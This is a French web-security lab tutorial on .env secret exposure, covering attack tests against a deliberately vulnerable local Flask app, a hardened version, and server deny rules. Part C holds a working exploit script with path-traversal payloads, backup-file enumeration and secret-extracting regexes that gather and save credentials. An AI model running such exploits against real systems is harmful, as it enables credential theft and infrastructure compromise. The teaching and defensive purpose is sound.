**La suite avec les tests d'exploitation et la version sécurisée ?** [SECURITE]

### PARTIE C : TESTER LES ATTAQUES

**1. Lancer l'application vulnérable :**

```bash
# Créer le fichier .env d'abord (copier le contenu de la PARTIE A)
python env_exposure_vulnerable.py
```

**2. Ouvrir http://localhost:5000**

---

**3. Test Attack 1 - Direct .env Access :**

**Via navigateur :**
```
http://localhost:5000/.env
```

**Via curl :**
```bash
curl http://localhost:5000/.env
```

**Résultat :**
```bash
# .env
APP_SECRET_KEY=super-secret-key-that-should-never-be-exposed-12345
DB_PASSWORD=P@ssw0rd_DB_2024_VerySecret!
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
STRIPE_SECRET_KEY=sk_live_51HxPQy2eZvKYlo2CEXAMPLEKEY123456789
...
```

**[OK] Fichier .env complet téléchargé !**

---

**4. Test Attack 2 - Backup Files :**

**Tester manuellement :**
```bash
curl http://localhost:5000/api/download -X POST \
  -H "Content-Type: application/json" \
  -d '{"filename": ".env.backup"}'
```

**Ou via interface :**
- Cliquer "Enumerate Backups"

**Résultat :**
```json
{
  "success": true,
  "filename": ".env.backup",
  "content": "APP_SECRET_KEY=super-secret-key...\nDB_PASSWORD=P@ssw0rd..."
}
```

**[OK] Fichiers de backup exposés !**

---

**5. Test Attack 3 - Path Traversal :**

**Payload :**
```json
{
  "filename": "../../../../.env"
}
```

**Résultat :**
```json
{
  "success": true,
  "content": "# .env\nAPP_SECRET_KEY=super-secret-key...\nDB_PASSWORD=..."
}
```

**[OK] Path traversal réussi !**

---

**6. Test Attack 4 - Debug Mode Exposure :**

- Visiter : `http://localhost:5000/api/trigger-error`

**Résultat (Stack Trace Flask) :**
```html
Traceback (most recent call last):
  File "/app.py", line 234, in trigger_error
    db_password = os.getenv('DB_PASSWORD')  # 'P@ssw0rd_DB_2024_VerySecret!'
    aws_secret = os.getenv('AWS_SECRET_ACCESS_KEY')  # 'wJalrXUt...'
    stripe_key = os.getenv('STRIPE_SECRET_KEY')  # 'sk_live_...'
    result = 1 / 0
ZeroDivisionError: division by zero
```

**[OK] Secrets exposés dans le stack trace !**

---

**7. Test Attack 5 - Logs with Secrets :**

- Visiter : `http://localhost:5000/api/logs`

**Résultat :**
```json
{
  "logs": "2024-01-08 10:00:02 - DEBUG - Database password: P@ssw0rd_DB_2024_VerySecret!\n2024-01-08 10:00:04 - DEBUG - AWS secret: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\n..."
}
```

**[OK] Tous les secrets dans les logs !**

---

**8. Script d'exploitation automatisé complet :**

```python
# exploit_env_exposure.py
import requests
import re
import json
from urllib.parse import urljoin

BASE_URL = "http://localhost:5000"

class EnvExploiter:
    def __init__(self, base_url):
        self.base_url = base_url
        self.session = requests.Session()
        self.credentials = {
            'database': {},
            'aws': {},
            'stripe': {},
            'jwt': {},
            'smtp': {},
            'oauth': {},
            'admin': {},
            'other_apis': {}
        }
    
    def banner(self):
        print("=" * 80)
        print(".ENV FILE EXPOSURE - COMPREHENSIVE EXPLOITATION")
        print("=" * 80)
        print()
    
    def test_direct_access(self):
        """Test 1: Direct .env file access"""
        print("\n1⃣  DIRECT .ENV FILE ACCESS")
        print("-" * 80)
        
        paths = [
            '/.env',
            '/app/.env',
            '/.env.local',
            '/.env.production'
        ]
        
        for path in paths:
            try:
                url = urljoin(self.base_url, path)
                response = self.session.get(url)
                
                if response.status_code == 200 and 'DB_PASSWORD' in response.text:
                    print(f"[OK] SUCCESS: {path}")
                    print(f"   Content length: {len(response.text)} bytes")
                    self.parse_env_content(response.text)
                    return True
                    
            except Exception as e:
                pass
        
        print("[X] Direct access blocked")
        return False
    
    def test_backup_files(self):
        """Test 2: Backup file enumeration"""
        print("\n2⃣  BACKUP FILE ENUMERATION")
        print("-" * 80)
        
        backup_files = [
            '.env.backup',
            '.env.old',
            '.env.save',
            '.env~',
            '.env.bak',
            '.env.local',
            '.env.production',
            '.env.prod',
            '.env.staging',
            '.env.dev',
            'env.txt',
            '.environment',
            'environment.txt'
        ]
        
        found_files = []
        
        for filename in backup_files:
            try:
                response = self.session.post(
                    f"{self.base_url}/api/download",
                    json={"filename": filename}
                )
                
                if response.status_code == 200:
                    data = response.json()
                    if data.get('content'):
                        found_files.append(filename)
                        print(f"[OK] FOUND: {filename}")
                        
                        if 'DB_PASSWORD' in data['content']:
                            self.parse_env_content(data['content'])
                            
            except Exception as e:
                pass
        
        if found_files:
            print(f"\n[ALERTE] Total backup files found: {len(found_files)}")
            return True
        else:
            print("[X] No backup files accessible")
            return False
    
    def test_path_traversal(self):
        """Test 3: Path traversal to .env"""
        print("\n3⃣  PATH TRAVERSAL ATTACK")
        print("-" * 80)
        
        payloads = [
            '.env',
            '../.env',
            '../../.env',
            '../../../.env',
            '../../../../.env',
            '../../../../../.env',
            '../../../../../../.env',
            '../../../../../../../.env',
            '..\\..\\..\\..\\..env',
            '....//....//....//....//....env',
            '..;/..;/..;/..;/.env',
            '%2e%2e%2f%2e%2e%2f%2e%2e%2f.env'
        ]
        
        for payload in payloads:
            try:
                response = self.session.post(
                    f"{self.base_url}/api/download",
                    json={"filename": payload}
                )
                
                if response.status_code == 200:
                    data = response.json()
                    
                    if data.get('content') and 'DB_PASSWORD' in data['content']:
                        print(f"[OK] SUCCESS: {payload}")
                        print(f"   Content length: {len(data['content'])} bytes")
                        self.parse_env_content(data['content'])
                        return True
                        
            except Exception as e:
                pass
        
        print("[X] Path traversal blocked or failed")
        return False
    
    def test_debug_mode(self):
        """Test 4: Debug mode exposure"""
        print("\n4⃣  DEBUG MODE EXPLOITATION")
        print("-" * 80)
        
        try:
            # Trigger error
            response = self.session.get(f"{self.base_url}/api/trigger-error")
            
            if response.status_code == 500:
                html = response.text
                
                # Extract secrets from stack trace
                secrets_found = []
                
                patterns = {
                    'DB_PASSWORD': r'DB_PASSWORD[\'"]?\s*[=:]\s*[\'"]?([^\s\'"<>]+)',
                    'AWS_SECRET': r'AWS_SECRET_ACCESS_KEY[\'"]?\s*[=:]\s*[\'"]?([^\s\'"<>]+)',
                    'STRIPE_SECRET': r'STRIPE_SECRET_KEY[\'"]?\s*[=:]\s*[\'"]?([^\s\'"<>]+)',
                    'JWT_SECRET': r'JWT_SECRET_KEY[\'"]?\s*[=:]\s*[\'"]?([^\s\'"<>]+)'
                }
                
                for name, pattern in patterns.items():
                    matches = re.findall(pattern, html, re.IGNORECASE)
                    if matches:
                        secrets_found.append(name)
                        print(f"[OK] EXPOSED: {name} = {matches[0][:20]}...")
                
                if secrets_found:
                    print(f"\n[ALERTE] {len(secrets_found)} secrets exposed in stack trace")
                    return True
                    
            # Try debug endpoint
            response = self.session.get(f"{self.base_url}/api/debug")
            
            if response.status_code == 200:
                data = response.json()
                
                if 'environment' in data or 'config' in data:
                    print("[OK] Debug endpoint accessible")
                    
                    if 'config' in data:
                        print("\nExposed configuration:")
                        for key, value in data['config'].items():
                            print(f"   {key}: {value[:20]}..." if value else f"   {key}: None")
                    
                    return True
                    
        except Exception as e:
            print(f"[X] Debug exploitation failed: {e}")
        
        return False
    
    def test_logs(self):
        """Test 5: Logs containing secrets"""
        print("\n5⃣  LOGS EXPLOITATION")
        print("-" * 80)
        
        try:
            response = self.session.get(f"{self.base_url}/api/logs")
            
            if response.status_code == 200:
                data = response.json()
                
                if 'logs' in data:
                    logs = data['logs']
                    
                    # Extract secrets from logs
                    secret_patterns = {
                        'Database Password': r'Database password:\s*([^\s\n]+)',
                        'AWS Secret': r'AWS secret:\s*([^\s\n]+)',
                        'Stripe Key': r'Stripe secret key:\s*([^\s\n]+)',
                        'JWT Secret': r'JWT secret configured:\s*([^\s\n]+)'
                    }
                    
                    print("[OK] Logs accessible")
                    print("\nSecrets found in logs:")
                    
                    for name, pattern in secret_patterns.items():
                        matches = re.findall(pattern, logs)
                        if matches:
                            print(f"   {name}: {matches[0][:30]}...")
                    
                    return True
                    
        except Exception as e:
            print(f"[X] Logs not accessible: {e}")
        
        return False
    
    def test_health_endpoint(self):
        """Test 6: Health endpoint exposure"""
        print("\n6⃣  HEALTH ENDPOINT RECONNAISSANCE")
        print("-" * 80)
        
        try:
            response = self.session.get(f"{self.base_url}/api/health")
            
            if response.status_code == 200:
                data = response.json()
                
                print("[OK] Health endpoint accessible")
                print("\nExposed configuration:")
                
                if 'database' in data:
                    print(f"   Database:")
                    for key, value in data['database'].items():
                        print(f"     {key}: {value}")
                
                if 'aws' in data:
                    print(f"   AWS:")
                    for key, value in data['aws'].items():
                        print(f"     {key}: {value}")
                
                if 'redis' in data:
                    print(f"   Redis:")
                    for key, value in data['redis'].items():
                        print(f"     {key}: {value}")
                
                return True
                
        except Exception as e:
            print(f"[X] Health endpoint not accessible")
        
        return False
    
    def test_env_endpoint(self):
        """Test 7: Environment endpoint"""
        print("\n7⃣  ENVIRONMENT ENDPOINT")
        print("-" * 80)
        
        try:
            response = self.session.get(f"{self.base_url}/api/env")
            
            if response.status_code == 200:
                data = response.json()
                
                if 'environment' in data:
                    env_vars = data['environment']
                    
                    print(f"[OK] CRITICAL: All environment variables exposed!")
                    print(f"   Total variables: {len(env_vars)}")
                    
                    # Extract critical secrets
                    critical_keys = [
                        'DB_PASSWORD', 'AWS_SECRET_ACCESS_KEY', 
                        'STRIPE_SECRET_KEY', 'JWT_SECRET_KEY',
                        'ADMIN_PASSWORD', 'SMTP_PASSWORD'
                    ]
                    
                    print("\nCritical secrets found:")
                    for key in critical_keys:
                        if key in env_vars:
                            value = env_vars[key]
                            print(f"   {key}: {value[:30]}...")
                    
                    return True
                    
        except Exception as e:
            print(f"[X] Environment endpoint not accessible")
        
        return False
    
    def test_git_exposure(self):
        """Test 8: Git repository exposure"""
        print("\n8⃣  GIT REPOSITORY EXPOSURE")
        print("-" * 80)
        
        git_files = [
            '/.git/config',
            '/.git/HEAD',
            '/.git/index',
            '/.git/logs/HEAD'
        ]
        
        found_git = False
        
        for git_file in git_files:
            try:
                url = urljoin(self.base_url, git_file)
                response = self.session.get(url)
                
                if response.status_code == 200:
                    print(f"[OK] FOUND: {git_file}")
                    found_git = True
                    
            except Exception as e:
                pass
        
        if found_git:
            print("\n[ALERTE] CRITICAL: .git directory exposed!")
            print("   Entire repository can be downloaded using git-dumper")
            print("   This includes .env file history and all commits")
            return True
        else:
            print("[X] Git repository not exposed")
            return False
    
    def parse_env_content(self, content):
        """Parse .env content and extract credentials"""
        lines = content.split('\n')
        
        for line in lines:
            line = line.strip()
            
            if '=' not in line or line.startswith('#'):
                continue
            
            key, value = line.split('=', 1)
            key = key.strip()
            value = value.strip()
            
            # Database
            if 'DB_' in key:
                self.credentials['database'][key] = value
            
            # AWS
            elif 'AWS_' in key:
                self.credentials['aws'][key] = value
            
            # Stripe
            elif 'STRIPE_' in key:
                self.credentials['stripe'][key] = value
            
            # JWT
            elif 'JWT_' in key:
                self.credentials['jwt'][key] = value
            
            # SMTP
            elif 'MAIL_' in key or 'SMTP_' in key:
                self.credentials['smtp'][key] = value
            
            # OAuth
            elif 'GOOGLE_' in key or 'GITHUB_' in key:
                self.credentials['oauth'][key] = value
            
            # Admin
            elif 'ADMIN_' in key:
                self.credentials['admin'][key] = value
            
            # Other APIs
            elif '_API_KEY' in key or '_SECRET' in key:
                self.credentials['other_apis'][key] = value
    
    def summary(self):
        """Print exploitation summary"""
        print("\n" + "=" * 80)
        print("[GRAPHIQUE] EXPLOITATION SUMMARY")
        print("=" * 80)
        
        total_credentials = sum(len(v) for v in self.credentials.values())
        
        print(f"\n[CLE] Total credentials extracted: {total_credentials}")
        print("\nBreakdown by category:")
        
        for category, creds in self.credentials.items():
            if creds:
                print(f"\n   {category.upper()} ({len(creds)} items):")
                for key, value in creds.items():
                    display_value = value[:30] + "..." if len(value) > 30 else value
                    print(f"     {key}: {display_value}")
        
        # Calculate impact
        print("\n" + "=" * 80)
        print("[ARGENT] IMPACT ASSESSMENT")
        print("=" * 80)
        
        impacts = []
        
        if self.credentials['database']:
            impacts.append("[OK] Full database access")
        
        if self.credentials['aws']:
            impacts.append("[OK] Complete AWS infrastructure control")
        
        if self.credentials['stripe']:
            impacts.append("[OK] Payment system compromise (financial loss)")
        
        if self.credentials['jwt']:
            impacts.append("[OK] Authentication bypass (forge any token)")
        
        if self.credentials['smtp']:
            impacts.append("[OK] Email system control (phishing, spam)")
        
        if self.credentials['oauth']:
            impacts.append("[OK] OAuth compromise (user impersonation)")
        
        if self.credentials['admin']:
            impacts.append("[OK] Admin panel access")
        
        for impact in impacts:
            print(f"   {impact}")
        
        # Save to file
        with open('exfiltrated_credentials.json', 'w') as f:
            json.dump(self.credentials, f, indent=2)
        
        print("\n[SAUVEGARDE] Credentials saved to: exfiltrated_credentials.json")
        
        print("\n" + "=" * 80)
        print("[ALERTE] CRITICAL: COMPLETE INFRASTRUCTURE COMPROMISE")
        print("=" * 80)
        
        print("\nAttacker can now:")
        print("   1. Access and dump entire database")
        print("   2. Control AWS infrastructure (EC2, S3, RDS, Lambda)")
        print("   3. Steal payment information via Stripe")
        print("   4. Forge JWT tokens for any user")
        print("   5. Send phishing emails via SMTP")
        print("   6. Impersonate users via OAuth")
        print("   7. Access admin panel")
        print("   8. Pivot to internal systems")
        
        print("\nEstimated financial impact: $100,000 - $10,000,000+")
        print("GDPR/PCI-DSS violations: YES")
        print("Potential fines: Millions of dollars")
        print("Reputation damage: SEVERE")
    
    def run_all_tests(self):
        """Execute all exploitation tests"""
        self.banner()
        
        results = {
            'direct_access': self.test_direct_access(),
            'backup_files': self.test_backup_files(),
            'path_traversal': self.test_path_traversal(),
            'debug_mode': self.test_debug_mode(),
            'logs': self.test_logs(),
            'health_endpoint': self.test_health_endpoint(),
            'env_endpoint': self.test_env_endpoint(),
            'git_exposure': self.test_git_exposure()
        }
        
        self.summary()
        
        print("\n" + "=" * 80)
        print("[HAUSSE] TEST RESULTS")
        print("=" * 80)
        
        for test_name, result in results.items():
            status = "[OK] SUCCESS" if result else "[X] FAILED"
            print(f"   {test_name.replace('_', ' ').title()}: {status}")
        
        successful_tests = sum(results.values())
        total_tests = len(results)
        
        print(f"\nTotal: {successful_tests}/{total_tests} attack vectors successful")
        
        if successful_tests > 0:
            print("\n[ALERTE] CRITICAL VULNERABILITY: .env file exposure confirmed!")
        
        return results

if __name__ == '__main__':
    exploiter = EnvExploiter(BASE_URL)
    exploiter.run_all_tests()
```

**Exécuter :**

```bash
python exploit_env_exposure.py
```

**Résultat attendu :**
```
================================================================================
.ENV FILE EXPOSURE - COMPREHENSIVE EXPLOITATION
================================================================================

1⃣  DIRECT .ENV FILE ACCESS
--------------------------------------------------------------------------------
[OK] SUCCESS: /.env
   Content length: 2847 bytes

2⃣  BACKUP FILE ENUMERATION
--------------------------------------------------------------------------------
[OK] FOUND: .env.backup
[OK] FOUND: .env.old
[ALERTE] Total backup files found: 2

3⃣  PATH TRAVERSAL ATTACK
--------------------------------------------------------------------------------
[OK] SUCCESS: ../../../../.env
   Content length: 2847 bytes

4⃣  DEBUG MODE EXPLOITATION
--------------------------------------------------------------------------------
[OK] EXPOSED: DB_PASSWORD = P@ssw0rd_DB_2024_Ver...
[OK] EXPOSED: AWS_SECRET = wJalrXUtnFEMI/K7MDEN...
[OK] EXPOSED: STRIPE_SECRET = sk_live_51HxPQy2eZ...
[OK] EXPOSED: JWT_SECRET = jwt-signing-secret-ke...
[ALERTE] 4 secrets exposed in stack trace

5⃣  LOGS EXPLOITATION
--------------------------------------------------------------------------------
[OK] Logs accessible

Secrets found in logs:
   Database Password: P@ssw0rd_DB_2024_VerySecret!
   AWS Secret: wJalrXUtnFEMI/K7MDENG/bPxR...
   Stripe Key: sk_live_51HxPQy2eZvKYlo2CE...
   JWT Secret: jwt-signing-secret-key-prod...

6⃣  HEALTH ENDPOINT RECONNAISSANCE
--------------------------------------------------------------------------------
[OK] Health endpoint accessible

Exposed configuration:
   Database:
     host: db.production.company.internal
     port: 5432
     name: production_database
     user: admin_user
   AWS:
     region: us-east-1
     bucket: company-private-files-prod

7⃣  ENVIRONMENT ENDPOINT
--------------------------------------------------------------------------------
[OK] CRITICAL: All environment variables exposed!
   Total variables: 45

Critical secrets found:
   DB_PASSWORD: P@ssw0rd_DB_2024_VerySecret!
   AWS_SECRET_ACCESS_KEY: wJalrXUtnFEMI/K7MDENG/bPxRf...
   STRIPE_SECRET_KEY: sk_live_51HxPQy2eZvKYlo2CE...
   JWT_SECRET_KEY: jwt-signing-secret-key-prod-...

8⃣  GIT REPOSITORY EXPOSURE
--------------------------------------------------------------------------------
[X] Git repository not exposed

================================================================================
[GRAPHIQUE] EXPLOITATION SUMMARY
================================================================================

[CLE] Total credentials extracted: 28

Breakdown by category:

   DATABASE (5 items):
     DB_HOST: db.production.company.internal
     DB_PORT: 5432
     DB_DATABASE: production_database
     DB_USERNAME: admin_user
     DB_PASSWORD: P@ssw0rd_DB_2024_VerySecret!

   AWS (4 items):
     AWS_ACCESS_KEY_ID: AKIAIOSFODNN7EXAMPLE123
     AWS_SECRET_ACCESS_KEY: wJalrXUtnFEMI/K7MDENG/bPxRfi...
     AWS_DEFAULT_REGION: us-east-1
     AWS_BUCKET: company-private-files-prod

   STRIPE (3 items):
     STRIPE_PUBLIC_KEY: pk_live_51abc123xyz789
     STRIPE_SECRET_KEY: sk_live_51HxPQy2eZvKYlo2CEXA...
     STRIPE_WEBHOOK_SECRET: whsec_abc123xyz789

[SAUVEGARDE] Credentials saved to: exfiltrated_credentials.json

================================================================================
[ALERTE] CRITICAL: COMPLETE INFRASTRUCTURE COMPROMISE
================================================================================

Attacker can now:
   1. Access and dump entire database
   2. Control AWS infrastructure (EC2, S3, RDS, Lambda)
   3. Steal payment information via Stripe
   4. Forge JWT tokens for any user
   5. Send phishing emails via SMTP
   6. Impersonate users via OAuth
   7. Access admin panel
   8. Pivot to internal systems

Estimated financial impact: $100,000 - $10,000,000+
GDPR/PCI-DSS violations: YES
Potential fines: Millions of dollars
Reputation damage: SEVERE

================================================================================
[HAUSSE] TEST RESULTS
================================================================================
   Direct Access: [OK] SUCCESS
   Backup Files: [OK] SUCCESS
   Path Traversal: [OK] SUCCESS
   Debug Mode: [OK] SUCCESS
   Logs: [OK] SUCCESS
   Health Endpoint: [OK] SUCCESS
   Env Endpoint: [OK] SUCCESS
   Git Exposure: [X] FAILED

Total: 7/8 attack vectors successful

[ALERTE] CRITICAL VULNERABILITY: .env file exposure confirmed!
```

---

### PARTIE D : VERSION SÉCURISÉE

```python
# env_exposure_secure.py
from flask import Flask, request, jsonify, send_file
from flask_cors import CORS
import os
import logging
from pathlib import Path
import re
import hashlib
import hmac
from cryptography.fernet import Fernet
from dotenv import load_dotenv

app = Flask(__name__)
CORS(app)

# [OK] Charger .env SEULEMENT en développement
if os.getenv('FLASK_ENV') == 'development':
    load_dotenv('.env.local')  # [OK] Fichier séparé pour dev
else:
    # [OK] En production : Variables d'environnement du système
    # Pas de fichier .env
    pass

# [OK] Configuration sécurisée
app.config['DEBUG'] = False  # [OK] JAMAIS True en production
app.secret_key = os.getenv('APP_SECRET_KEY', Fernet.generate_key().decode())

# [OK] Logging sécurisé (SANS secrets)
logging.basicConfig(
    level=logging.INFO,  # [OK] INFO, pas DEBUG
    format='%(asctime)s - %(name)s - %(levelname)s - %(message)s'
)
logger = logging.getLogger(__name__)

# [OK] Custom filter pour masquer secrets dans logs
class SecretFilter(logging.Filter):
    """Filtre pour masquer automatiquement les secrets dans les logs"""
    
    PATTERNS_TO_MASK = [
        r'password[\'"]?\s*[=:]\s*[\'"]?([^\s\'"]+)',
        r'secret[\'"]?\s*[=:]\s*[\'"]?([^\s\'"]+)',
        r'key[\'"]?\s*[=:]\s*[\'"]?([^\s\'"]+)',
        r'token[\'"]?\s*[=:]\s*[\'"]?([^\s\'"]+)',
    ]
    
    def filter(self, record):
        message = record.getMessage()
        
        for pattern in self.PATTERNS_TO_MASK:
            message = re.sub(pattern, r'\1=***REDACTED***', message, flags=re.IGNORECASE)
        
        record.msg = message
        return True

# Ajouter le filtre à tous les loggers
for handler in logging.root.handlers:
    handler.addFilter(SecretFilter())

# [OK] Logging sécurisé au démarrage
logger.info("=" * 80)
logger.info("APPLICATION STARTING")
logger.info("=" * 80)
logger.info(f"Environment: {os.getenv('APP_ENV', 'production')}")
logger.info(f"Debug mode: {app.config['DEBUG']}")
# [OK] PAS de secrets loggés
logger.info("Database connection configured")
logger.info("AWS services configured")
logger.info("Payment gateway configured")
logger.info("=" * 80)

# [OK] Classe pour gérer les secrets de manière sécurisée
class SecretManager:
    """Gestionnaire sécurisé de secrets avec chiffrement"""
    
    def __init__(self):
        # [OK] Clé de chiffrement depuis variable d'environnement
        encryption_key = os.getenv('ENCRYPTION_KEY')
        
        if encryption_key:
            self.cipher = Fernet(encryption_key.encode())
        else:
            # Générer une clé temporaire (développement seulement)
            self.cipher = Fernet(Fernet.generate_key())
    
    def get_secret(self, key, default=None):
        """
        [OK] Récupère un secret de manière sécurisée
        """
        value = os.getenv(key, default)
        
        # [OK] Ne jamais logger la valeur
        if value:
            logger.debug(f"Secret '{key}' retrieved")
        else:
            logger.warning(f"Secret '{key}' not found")
        
        return value
    
    def encrypt_secret(self, value):
        """[OK] Chiffrer un secret"""
        if isinstance(value, str):
            value = value.encode()
        return self.cipher.encrypt(value)
    
    def decrypt_secret(self, encrypted_value):
        """[OK] Déchiffrer un secret"""
        return self.cipher.decrypt(encrypted_value).decode()

secrets = SecretManager()

# [OK] Whitelist de fichiers téléchargeables
ALLOWED_DOWNLOAD_DIR = Path('public_files')
ALLOWED_DOWNLOAD_DIR.mkdir(exist_ok=True)

def is_safe_path(base_dir, path):
    """
    [OK] Vérifier qu'un chemin ne sort pas du répertoire autorisé
    """
    base_dir = Path(base_dir).resolve()
    requested_path = (base_dir / path).resolve()
    
    try:
        requested_path.relative_to(base_dir)
        return True
    except ValueError:
        return False

@app.route('/')
def index():
    return jsonify({
        'name': 'Secure Application',
        'version': '2.0',
        'status': 'healthy'
    })

# [OK] ROUTE SÉCURISÉE 1 : Download avec validation stricte
@app.route('/api/download', methods=['POST'])
def download_secure():
    """
    [OK] SÉCURISÉ : Whitelist + validation path
    """
    data = request.json
    filename = data.get('filename', '')
    
    # [OK] Validation filename
    if not filename:
        return jsonify({'error': 'Filename required'}), 400
    
    # [OK] Bloquer caractères dangereux
    if not re.match(r'^[a-zA-Z0-9_.-]+$', filename):
        logger.warning(f"Suspicious filename attempt: {filename}")
        return jsonify({'error': 'Invalid filename'}), 400
    
    # [OK] Vérifier path traversal
    if '..' in filename or '/' in filename or '\\' in filename:
        logger.warning(f"Path traversal attempt: {filename}")
        return jsonify({'error': 'Invalid filename'}), 400
    
    # [OK] Chemin complet
    file_path = ALLOWED_DOWNLOAD_DIR / filename
    
    # [OK] Vérifier que le fichier est dans le répertoire autorisé
    if not is_safe_path(ALLOWED_DOWNLOAD_DIR, filename):
        logger.warning(f"Path traversal blocked: {filename}")
        return jsonify({'error': 'Access denied'}), 403
    
    # [OK] Vérifier existence
    if not file_path.exists():
        return jsonify({'error': 'File not found'}), 404
    
    # [OK] Vérifier que c'est un fichier (pas un répertoire)
    if not file_path.is_file():
        return jsonify({'error': 'Invalid file'}), 400
    
    try:
        # [OK] Envoyer le fichier de manière sécurisée
        return send_file(
            file_path,
            as_attachment=True,
            download_name=filename
        )
    except Exception as e:
        logger.error(f"File download error: {str(e)}")
        return jsonify({'error': 'Download failed'}), 500

# [OK] ROUTE SÉCURISÉE 2 : Health Check sans info sensible
@app.route('/api/health')
def health_secure():
    """
    [OK] SÉCURISÉ : Informations minimales, pas de secrets
    """
    return jsonify({
        'status': 'healthy',
        'timestamp': '2024-01-08T12:00:00Z',
        'services': {
            'database': 'connected',
            'cache': 'connected',
            'storage': 'available'
        }
        # [OK] PAS de hostnames, ports, credentials
    })

# [OK] ROUTE SÉCURISÉE 3 : Debug DÉSACTIVÉ en production
@app.route('/api/debug')
def debug_secure():
    """
    [OK] SÉCURISÉ : Debug complètement désactivé
    """
    # [OK] Toujours refuser
    logger.warning("Debug endpoint access attempt")
    return jsonify({'error': 'Not available'}), 404

# [OK] ROUTE SÉCURISÉE 4 : Logs SANS secrets
@app.route('/api/logs')
def logs_secure():
    """
    [OK] SÉCURISÉ : Logs accessibles seulement avec authentification
    """
    # [OK] Vérifier authentification (exemple simplifié)
    api_key = request.headers.get('X-API-Key')
    
    if not api_key or not verify_api_key(api_key):
        logger.warning(f"Unauthorized logs access attempt from {request.remote_addr}")
        return jsonify({'error': 'Unauthorized'}), 401
    
    # [OK] Retourner logs filtrés (sans secrets)
    return jsonify({
        'logs': [
            {
                'timestamp': '2024-01-08 10:00:00',
                'level': 'INFO',
                'message': 'Application started'
            },
            {
                'timestamp': '2024-01-08 10:00:01',
                'level': 'INFO',
                'message': 'Database connection established'
            },
            {
                'timestamp': '2024-01-08 10:00:02',
                'level': 'INFO',
                'message': 'Services initialized'
            }
            # [OK] Pas de passwords, keys, tokens
        ]
    })

def verify_api_key(api_key):
    """
    [OK] Vérifier l'API key de manière sécurisée (timing-safe)
    """
    expected_key = secrets.get_secret('ADMIN_API_KEY')
    
    if not expected_key:
        return False
    
    # [OK] Comparaison timing-safe
    return hmac.compare_digest(api_key, expected_key)

# [OK] ROUTE SÉCURISÉE 5 : Environment INTERDIT
@app.route('/api/env')
def env_secure():
    """
    [OK] SÉCURISÉ : Endpoint supprimé
    """
    logger.warning(f"Blocked env access attempt from {request.remote_addr}")
    return jsonify({'error': 'Not found'}), 404

# [OK] Désactiver route .env
@app.route('/.env')
def block_env():
    """[OK] Bloquer accès direct à .env"""
    logger.warning(f"Blocked .env access attempt from {request.remote_addr}")
    return jsonify({'error': 'Not found'}), 404

# [OK] Custom error handlers (sans stack trace)
@app.errorhandler(404)
def not_found(error):
    """[OK] Erreur 404 sans détails"""
    return jsonify({'error': 'Not found'}), 404

@app.errorhandler(500)
def internal_error(error):
    """[OK] Erreur 500 sans stack trace"""
    logger.error(f"Internal error: {str(error)}")
    return jsonify({'error': 'Internal server error'}), 500

@app.errorhandler(Exception)
def handle_exception(error):
    """[OK] Handler global sans révéler détails"""
    logger.error(f"Unhandled exception: {str(error)}")
    return jsonify({'error': 'An error occurred'}), 500

if __name__ == '__main__':
    print("[SECURITE]  .env Exposure SÉCURISÉ sur http://localhost:5001")
    print("[OK] Protections :")
    print("   1. .env JAMAIS dans webroot")
    print("   2. .gitignore stricte (.env, .env.*)")
    print("   3. Debug mode désactivé en production")
    print("   4. Logs SANS secrets (SecretFilter)")
    print("   5. Path traversal protection")
    print("   6. Whitelist fichiers téléchargeables")
    print("   7. Health endpoint minimal")
    print("   8. Pas d'endpoint /api/env")
    print("   9. Pas d'endpoint /api/debug")
    print("  10. Error handlers sans stack trace")
    print("  11. Secrets Manager avec chiffrement")
    print("  12. API key pour logs (timing-safe)")
    print("  13. Logging de tentatives d'accès")
    print("  14. Variables d'environnement système (pas .env)")
    
    # [OK] Production mode
    app.run(debug=False, port=5001, host='127.0.0.1')
```

---

### PARTIE E : CONFIGURATION SERVEUR WEB SÉCURISÉE

**1. Apache (.htaccess) :**

```apache
# .htaccess - Bloquer accès aux fichiers sensibles

# [OK] Bloquer .env et variantes
<FilesMatch "^\.env">
    Require all denied
</FilesMatch>

<FilesMatch "\.env\..*">
    Require all denied
</FilesMatch>

# [OK] Bloquer fichiers de backup
<FilesMatch "\.(bak|backup|old|save|~)$">
    Require all denied
</FilesMatch>

# [OK] Bloquer .git
<DirectoryMatch "^/.*/\.git/">
    Require all denied
</DirectoryMatch>

# [OK] Headers de sécurité
Header always set X-Content-Type-Options "nosniff"
Header always set X-Frame-Options "DENY"
Header always set X-XSS-Protection "1; mode=block"
```

---

**2. Nginx (nginx.conf) :**

```nginx
# nginx.conf - Bloquer accès aux fichiers sensibles

server {
    listen 80;
    server_name example.com;
    
    # [OK] Bloquer .env
    location ~ /\.env {
        deny all;
        return 404;
    }
    
    # [OK] Bloquer fichiers de backup
    location ~ \.(bak|backup|old|save|~)$ {
        deny all;
        return 404;
    }
    
    # [OK] Bloquer .git
    location ~ /\.git {
        deny all;
        return 404;
    }
    
    # [OK] Headers de sécurité
    add_header X-Content-Type-Options "nosniff" always;
    add_header X-Frame-Options "DENY" always;
    add_header X-XSS-Protection "1; mode=block" always;
}
```

---

**3. .gitignore complet :**

```bash
# .gitignore - Ne JAMAIS committer les secrets

# [OK] Fichiers .env
.env
.env.*
!.env.example

# [OK] Backups
*.bak
*.backup
*.old
*.save
*~

# [OK] IDE
.vscode/
.idea/
*.swp
*.swo

# [OK] OS
.DS_Store
Thumbs.db

# [OK] Logs
*.log
logs/

# [OK] Credentials
credentials.json
service-account.json
*.pem
*.key
*.crt

# [OK] Database
*.db
*.sqlite
*.sqlite3

# [OK] Node modules
node_modules/
package-lock.json

# [OK] Python
__pycache__/
*.pyc
venv/
env/
```

---

**4. .env.example (template public) :**

```bash
# .env.example - Template SANS valeurs réelles
# Copier vers .env et remplir avec vraies valeurs

# Application
APP_NAME=MyApp
APP_ENV=production
APP_DEBUG=false
APP_URL=https://example.com
APP_SECRET_KEY=

# Database
DB_CONNECTION=postgresql
DB_HOST=
DB_PORT=5432
DB_DATABASE=
DB_USERNAME=
DB_PASSWORD=

# AWS
AWS_ACCESS_KEY_ID=
AWS_SECRET_ACCESS_KEY=
AWS_DEFAULT_REGION=us-east-1
AWS_BUCKET=

# Stripe
STRIPE_PUBLIC_KEY=
STRIPE_SECRET_KEY=
STRIPE_WEBHOOK_SECRET=

# JWT
JWT_SECRET_KEY=
JWT_ALGORITHM=HS256
JWT_EXPIRATION_HOURS=24

# Email
MAIL_HOST=
MAIL_PORT=587
MAIL_USERNAME=
